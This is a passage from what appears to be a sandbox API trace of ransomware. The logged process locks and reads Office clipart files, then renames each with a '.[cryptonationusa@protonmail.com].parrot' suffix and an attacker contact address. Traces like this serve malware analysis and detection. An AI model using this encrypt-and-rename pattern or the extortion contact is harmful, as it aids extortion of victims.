lpOverlapped=0x0) returned 1 [0148.607] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.608] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4e02, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0148.608] CloseHandle (hObject=0x27c) returned 1 [0148.608] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00633_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00633_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00633_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00633_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0148.612] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xb244, nNumberOfBytesToLockHigh=0x0) returned 1 [0148.612] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0148.612] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0148.614] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.614] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb12c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xb12c, lpOverlapped=0x0) returned 1 [0148.616] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.617] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xb244, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0148.617] CloseHandle (hObject=0x27c) returned 1 [0148.617] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00640_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00640_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00640_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00640_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0148.621] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x6140, nNumberOfBytesToLockHigh=0x0) returned 1 [0148.621] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0148.621] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0148.622] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.622] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6028, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x6028, lpOverlapped=0x0) returned 1 [0148.634] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.635] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6140, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0148.635] CloseHandle (hObject=0x27c) returned 1 [0148.635] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00668_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00668_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00668_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00668_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0148.639] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x11a2, nNumberOfBytesToLockHigh=0x0) returned 1 [0148.639] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0148.639] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0148.640] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.640] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x108a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x108a, lpOverlapped=0x0) returned 1 [0148.641] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.641] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x11a2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0148.641] CloseHandle (hObject=0x27c) returned 1 [0148.642] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00685_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00685_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00685_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00685_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0148.645] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1246, nNumberOfBytesToLockHigh=0x0) returned 1 [0148.645] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0148.645] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0148.646] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.646] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x112e, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x112e, lpOverlapped=0x0) returned 1 [0148.647] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.648] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1246, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0148.648] CloseHandle (hObject=0x27c) returned 1 [0148.648] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00686_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00686_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00686_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00686_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0148.651] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1250, nNumberOfBytesToLockHigh=0x0) returned 1 [0148.651] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0148.651] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0148.657] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.657] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1138, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1138, lpOverlapped=0x0) returned 1 [0148.658] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.658] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1250, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0148.658] CloseHandle (hObject=0x27c) returned 1 [0148.658] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00693_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00693_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00693_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00693_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0148.661] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3a3e, nNumberOfBytesToLockHigh=0x0) returned 1 [0148.661] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0148.662] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0148.663] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.663] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3926, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3926, lpOverlapped=0x0) returned 1 [0148.664] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.664] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3a3e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0148.664] CloseHandle (hObject=0x27c) returned 1 [0148.665] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00720_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00720_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00720_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00720_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0148.668] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1c14, nNumberOfBytesToLockHigh=0x0) returned 1 [0148.668] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0148.668] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0148.670] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.670] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1afc, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1afc, lpOverlapped=0x0) returned 1 [0148.671] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.671] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1c14, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0148.671] CloseHandle (hObject=0x27c) returned 1 [0148.671] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00723_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00723_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00723_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00723_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0148.674] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xb2bc, nNumberOfBytesToLockHigh=0x0) returned 1 [0148.674] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0148.674] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0148.676] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.676] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb1a4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xb1a4, lpOverlapped=0x0) returned 1 [0148.679] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.680] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xb2bc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0148.680] CloseHandle (hObject=0x27c) returned 1 [0148.680] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00726_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00726_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00726_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00726_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0148.684] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x9f44, nNumberOfBytesToLockHigh=0x0) returned 1 [0148.684] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0148.684] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0148.686] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.686] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x9e2c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x9e2c, lpOverlapped=0x0) returned 1 [0148.689] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.690] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x9f44, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0148.690] CloseHandle (hObject=0x27c) returned 1 [0148.690] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00737_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00737_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00737_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00737_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0148.694] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1db8, nNumberOfBytesToLockHigh=0x0) returned 1 [0148.694] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0148.694] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0148.710] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.710] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1ca0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1ca0, lpOverlapped=0x0) returned 1 [0148.711] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.711] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1db8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0148.711] CloseHandle (hObject=0x27c) returned 1 [0148.711] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00833_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00833_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00833_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00833_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0148.717] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1a20, nNumberOfBytesToLockHigh=0x0) returned 1 [0148.717] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0148.717] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0148.719] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.719] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1908, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1908, lpOverlapped=0x0) returned 1 [0148.720] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.720] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1a20, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0148.720] CloseHandle (hObject=0x27c) returned 1 [0148.721] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00898_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00898_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00898_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00898_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0148.724] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3218, nNumberOfBytesToLockHigh=0x0) returned 1 [0148.724] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0148.724] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0148.725] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.726] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3100, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3100, lpOverlapped=0x0) returned 1 [0148.727] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.727] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3218, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0148.727] CloseHandle (hObject=0x27c) returned 1 [0148.728] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00934_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00934_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00934_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00934_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0148.733] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2a1c, nNumberOfBytesToLockHigh=0x0) returned 1 [0148.733] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0148.733] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0148.735] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.735] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2904, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2904, lpOverlapped=0x0) returned 1 [0148.736] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.736] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2a1c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0148.736] CloseHandle (hObject=0x27c) returned 1 [0148.736] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00998_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00998_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00998_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00998_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0148.740] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xa9c, nNumberOfBytesToLockHigh=0x0) returned 1 [0148.740] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0148.740] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0148.741] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.741] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x984, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x984, lpOverlapped=0x0) returned 1 [0148.741] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.742] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, 